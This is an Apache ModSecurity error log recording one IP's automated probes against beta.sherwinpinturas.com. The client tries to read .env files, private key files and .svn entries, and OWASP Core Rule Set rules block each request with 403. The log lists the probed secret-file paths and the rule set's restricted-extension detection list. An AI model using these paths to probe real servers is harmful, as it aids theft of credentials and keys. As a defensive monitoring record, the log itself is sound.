[Mon Oct 26 14:54:34.580615 2026] [security2:error] [pid 3084018:tid 3084018] [client 34.39.215.232:33062] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/tmp/.env"] [unique_id "at-h6vEWMevIOUAFFIb9nwAAAB4"]
[Mon Oct 26 14:54:34.366351 2026] [security2:error] [pid 3084019:tid 3084019] [client 34.39.215.232:33116] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /static/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/static/.env"] [unique_id "at-h6nF4upCyqcRvyT6-mQAAAB8"]
[Mon Oct 26 14:54:34.629398 2026] [security2:error] [pid 3084019:tid 3084019] [client 34.39.215.232:33116] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/static/.env"] [unique_id "at-h6nF4upCyqcRvyT6-mQAAAB8"]
[Mon Oct 26 14:54:34.630098 2026] [security2:error] [pid 3084019:tid 3084019] [client 34.39.215.232:33116] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/static/.env"] [unique_id "at-h6nF4upCyqcRvyT6-mQAAAB8"]
[Mon Oct 26 14:54:34.417368 2026] [security2:error] [pid 3084021:tid 3084021] [client 34.39.215.232:33160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /private/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/private/.env"] [unique_id "at-h6qgotfDqarG_U6DojQAAACE"]
[Mon Oct 26 14:54:34.416802 2026] [security2:error] [pid 3084024:tid 3084024] [client 34.39.215.232:33136] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /auth/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/auth/.env"] [unique_id "at-h6mEwr5uQBdiYd9TuNQAAACQ"]
[Mon Oct 26 14:54:34.691473 2026] [security2:error] [pid 3084024:tid 3084024] [client 34.39.215.232:33136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/auth/.env"] [unique_id "at-h6mEwr5uQBdiYd9TuNQAAACQ"]
[Mon Oct 26 14:54:34.692111 2026] [security2:error] [pid 3084024:tid 3084024] [client 34.39.215.232:33136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/auth/.env"] [unique_id "at-h6mEwr5uQBdiYd9TuNQAAACQ"]
[Mon Oct 26 14:54:34.418357 2026] [security2:error] [pid 3084027:tid 3084027] [client 34.39.215.232:33190] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env_sample"] [unique_id "at-h6m2tU31X1qF-NiHkOwAAACc"]
[Mon Oct 26 14:54:34.692734 2026] [security2:error] [pid 3084027:tid 3084027] [client 34.39.215.232:33190] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env_sample"] [unique_id "at-h6m2tU31X1qF-NiHkOwAAACc"]
[Mon Oct 26 14:54:34.693207 2026] [security2:error] [pid 3084027:tid 3084027] [client 34.39.215.232:33190] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env_sample"] [unique_id "at-h6m2tU31X1qF-NiHkOwAAACc"]
[Mon Oct 26 14:54:34.700631 2026] [security2:error] [pid 3084021:tid 3084021] [client 34.39.215.232:33160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/private/.env"] [unique_id "at-h6qgotfDqarG_U6DojQAAACE"]
[Mon Oct 26 14:54:34.701131 2026] [security2:error] [pid 3084021:tid 3084021] [client 34.39.215.232:33160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/private/.env"] [unique_id "at-h6qgotfDqarG_U6DojQAAACE"]
[Mon Oct 26 14:54:35.055671 2026] [security2:error] [pid 3084022:tid 3084022] [client 34.39.215.232:33144] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "beta.sherwinpinturas.com"] [uri "/host.key"] [unique_id "at-h67HcPQ_Go3aEyc2HYAAAACI"]
[Mon Oct 26 14:54:35.056080 2026] [security2:error] [pid 3084022:tid 3084022] [client 34.39.215.232:33144] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/host.key"] [unique_id "at-h67HcPQ_Go3aEyc2HYAAAACI"]
[Mon Oct 26 14:54:35.056395 2026] [security2:error] [pid 3084022:tid 3084022] [client 34.39.215.232:33144] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/host.key"] [unique_id "at-h67HcPQ_Go3aEyc2HYAAAACI"]
[Mon Oct 26 14:54:35.070737 2026] [security2:error] [pid 3084000:tid 3084000] [client 34.39.215.232:32956] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "beta.sherwinpinturas.com"] [uri "/localhost.key"] [unique_id "at-h6yVsqF6Prn45f_BAngAAABM"]
[Mon Oct 26 14:54:35.071068 2026] [security2:error] [pid 3084000:tid 3084000] [client 34.39.215.232:32956] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/localhost.key"] [unique_id "at-h6yVsqF6Prn45f_BAngAAABM"]
[Mon Oct 26 14:54:35.071323 2026] [security2:error] [pid 3084000:tid 3084000] [client 34.39.215.232:32956] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/localhost.key"] [unique_id "at-h6yVsqF6Prn45f_BAngAAABM"]
[Mon Oct 26 14:54:35.083533 2026] [security2:error] [pid 3083995:tid 3083995] [client 34.39.215.232:33056] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "beta.sherwinpinturas.com"] [uri "/privatekey.key"] [unique_id "at-h67JoBe2aZMAtY1nERAAAAA8"]
[Mon Oct 26 14:54:35.083786 2026] [security2:error] [pid 3083995:tid 3083995] [client 34.39.215.232:33056] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/privatekey.key"] [unique_id "at-h67JoBe2aZMAtY1nERAAAAA8"]
[Mon Oct 26 14:54:35.084065 2026] [security2:error] [pid 3083995:tid 3083995] [client 34.39.215.232:33056] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/privatekey.key"] [unique_id "at-h67JoBe2aZMAtY1nERAAAAA8"]
[Mon Oct 26 14:54:35.088746 2026] [security2:error] [pid 3084030:tid 3084030] [client 34.39.215.232:33240] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "beta.sherwinpinturas.com"] [uri "/ssl/server.key"] [unique_id "at-h67tvIKIhw4_Op_OQmwAAACk"]
[Mon Oct 26 14:54:35.089188 2026] [security2:error] [pid 3084030:tid 3084030] [client 34.39.215.232:33240] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/ssl/server.key"] [unique_id "at-h67tvIKIhw4_Op_OQmwAAACk"]
[Mon Oct 26 14:54:35.089581 2026] [security2:error] [pid 3084030:tid 3084030] [client 34.39.215.232:33240] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/ssl/server.key"] [unique_id "at-h67tvIKIhw4_Op_OQmwAAACk"]
[Mon Oct 26 14:54:35.118160 2026] [security2:error] [pid 3084021:tid 3084021] [client 34.39.215.232:33160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.github/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.github/.env"] [unique_id "at-h66gotfDqarG_U6DojgAAACE"]
[Mon Oct 26 14:54:35.118381 2026] [security2:error] [pid 3084021:tid 3084021] [client 34.39.215.232:33160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.github/.env"] [unique_id "at-h66gotfDqarG_U6DojgAAACE"]
[Mon Oct 26 14:54:35.118679 2026] [security2:error] [pid 3084021:tid 3084021] [client 34.39.215.232:33160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.github/.env"] [unique_id "at-h66gotfDqarG_U6DojgAAACE"]
[Mon Oct 26 14:54:35.139347 2026] [security2:error] [pid 3079560:tid 3079560] [client 34.39.215.232:33256] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/entries"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.svn/entries"] [unique_id "at-h6x7tVIm23knyHD7xggAAAAI"]
[Mon Oct 26 14:54:35.139487 2026] [security2:error] [pid 3079560:tid 3079560] [client 34.39.215.232:33256] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.svn/entries"] [unique_id "at-h6x7tVIm23knyHD7xggAAAAI"]
[Mon Oct 26 14:54:35.139705 2026] [security2:error] [pid 3079560:tid 3079560] [client 34.39.215.232:33256] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.svn/entries"] [unique_id "at-h6x7tVIm23knyHD7xggAAAAI"]
[Mon Oct 26 14:54:35.140457 2026] [security2:error] [pid 3052342:tid 3052342] [client 34.39.215.232:33302] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "beta.sherwinpinturas.com"] [uri "/ssl/localhost.key"] [unique_id "at-h63Nsi4cqo2ItOKeAhQAAAAM"]
[Mon Oct 26 14:54:35.140718 2026] [security2:error] [pid 3052342:tid 3052342] [client 34.39.215.232:33302] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/ssl/localhost.key"] [unique_id "at-h63Nsi4cqo2ItOKeAhQAAAAM"]
[Mon Oct 26 14:54:35.140993 2026] [security2:error] [pid 3052342:tid 3052342] [client 34.39.215.232:33302] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/ssl/localhost.key"] [unique_id "at-h63Nsi4cqo2ItOKeAhQAAAAM"]
[Mon Oct 26 14:54:35.284004 2026] [security2:error] [pid 3084003:tid 3084003] [client 34.39.215.232:33362] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.mail"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.mail"] [unique_id "at-h681s7k65ejr69eONsQAAABc"]
[Mon Oct 26 14:54:35.284170 2026] [security2:error] [pid 3084003:tid 3084003] [client 34.39.215.232:33362] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.mail"] [unique_id "at-h681s7k65ejr69eONsQAAABc"]
